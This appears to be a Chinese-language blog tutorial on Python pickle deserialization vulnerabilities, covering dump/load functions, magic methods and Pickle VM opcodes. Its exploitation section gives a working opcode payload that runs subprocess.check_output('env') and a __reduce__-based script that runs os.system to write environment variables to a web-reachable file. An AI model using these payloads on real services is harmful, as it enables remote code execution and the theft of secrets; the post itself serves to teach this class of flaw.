pickle

pickle

pickle反序列化漏洞基础知识与绕过简析-先知社区

漏洞简介:

pickle是Python的一个库,可以对一个对象进行序列化和反序列化操作.其中__reduce__魔法函数会在一个对象被反序列化时自动执行,我们可以通过在__reduce__魔法函数内植入恶意代码的方式进行任意命令执行.通常会利用到Python的反弹shell。同时,pickle是一种栈语言,它由一串串opcode(指令集)组成.该语言的解析是依靠Pickle Virtual Machine (PVM)进行的.

前置知识:

关于序列化和反序列化的函数:

pickle.dump(),pickle.load(),pickle.dumps(),pickle.loads()

其中两个dump函数是把python对象转换为二进制对象的,两个load函数是把二进制对象转换为python对象的.

而s函数是指对字符串进行反序列化和序列化操作,另外两个函数是对文件进行操作.

python对象:一个Python对象通常包含以下部分:

  1. 身份(Identity):每个对象都有一个唯一的身份标识,通常是它的内存地址。可以使用内建函数id()来获取对象的身份。
  2. 类型(Type):对象属于某种类型,比如整数、浮点数、字符串、列表等。可以使用内建函数type()来获取对象的类型。
  3. 值(Value):对象所持有的数据。不同类型的对象有不同的值。例如,整数对象的值是整数值,字符串对象的值是字符序列。
  4. 属性(Attributes):对象可以有零个或多个属性,这些属性是附加到对象上的数据。属性通常用于存储对象的状态信息。
  5. 方法(Methods):对象可以有零个或多个方法,方法是附加到对象上的函数。这些方法定义了对象可以执行的操作。

python魔术方法:

__reduce__:会在反序列化过程开始时被调用。

__new__:在实例化一个类时自动被调用,是类的构造方法.可以通过重写__new__自定义类的实例化过程 。

__init__:在__new__方法之后被调用,主要负责定义类的属性,以初始化实例。

__del__:在实例将被销毁时调用,只在实例的所有调用结束后才会被调用。

__getattr__:获取不存在的对象属性时被触发,存在返回值。

__setattr__:设置对象成员值的时候触发,传入一个self,一个要设置的属性名称,一个属性的值。

__repr__:在实例被传入repr()时被调用,必须返回字符串。

__call__:把对象当作函数调用时触发。

__len__:被传入len()时调用,返回一个整型。

__str__:被str(),format(),print()调用时调用,返回一个字符串。

Python特殊属性:

object.dict一个字典或其他类型的映射对象,用于存储对象的(可写)属性。

instance.class类实例所属的类。

class.bases由类对象的基类所组成的元组。

definition.name类、函数、方法、描述器或生成器实例的名称。

definition.qualname类、函数、方法、描述器或生成器实例的 qualified name

栈:

简介:栈是一种存储数据的结构.栈有压栈和弹栈两种操作.可以把栈看做一个弹夹,先进栈的数据后出栈,压栈就像压子弹,弹栈就像弹子弹.而pickle就是一种栈语言,它由一串串opcode(指令集)组成.该语言的解析是依靠Pickle Virtual Machine (PVM)进行的.

用于解析pocode的PVM由以下三部分组成

  • 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。

  • stack:由 Python 的 list 实现,被用来临时存储数据、参数以及对象。

  • memo:由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。

以下列出一些常用pocode指令

loading-ag-281

漏洞利用:

所以当我们看到形如print(pickle.loads(data))的入口,我们可以这样打:

import base64                                      //引入base64模块

            opcode = '''csubprocess                //opcode为''' '''中的内容

            check_output                           //从 `subprocess` 模块中加载 `check_output` 函数

            (S'env'                                //向栈中压入mark标记,再压入'env'字符串,此时栈: [MARK, 'env']

            tR.'''.encode()                        //将mark后的元素弹出组成元组,此处为将‘env‘弹出组成(’env‘)此时栈: [MARK],之后

                                                    将栈上第一个元素为函数第二个为参数后调用,此处为`check_output('env')`然后

                                                    encode()将字符串转化为字节序列,因为 pickle 反序列化操作(pickle.loads())只受                                                     
                                                    bytes 对象,不接受 str

print(base64.b64encode(opcode).decode())`           //bytes 编码为 Base64 格式的 bytes再转化为字符串打印

                                                    //最后将data替换为输出的东西就好

cmd转pickle脚本:

def build_rce_pickle():
    class Evil:
        def __reduce__(self):
            cmd = "__import__('os').system('env > static/result.txt')"
            return (eval, (cmd,))
    return pickle.dumps(Evil(), protocol=5)
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇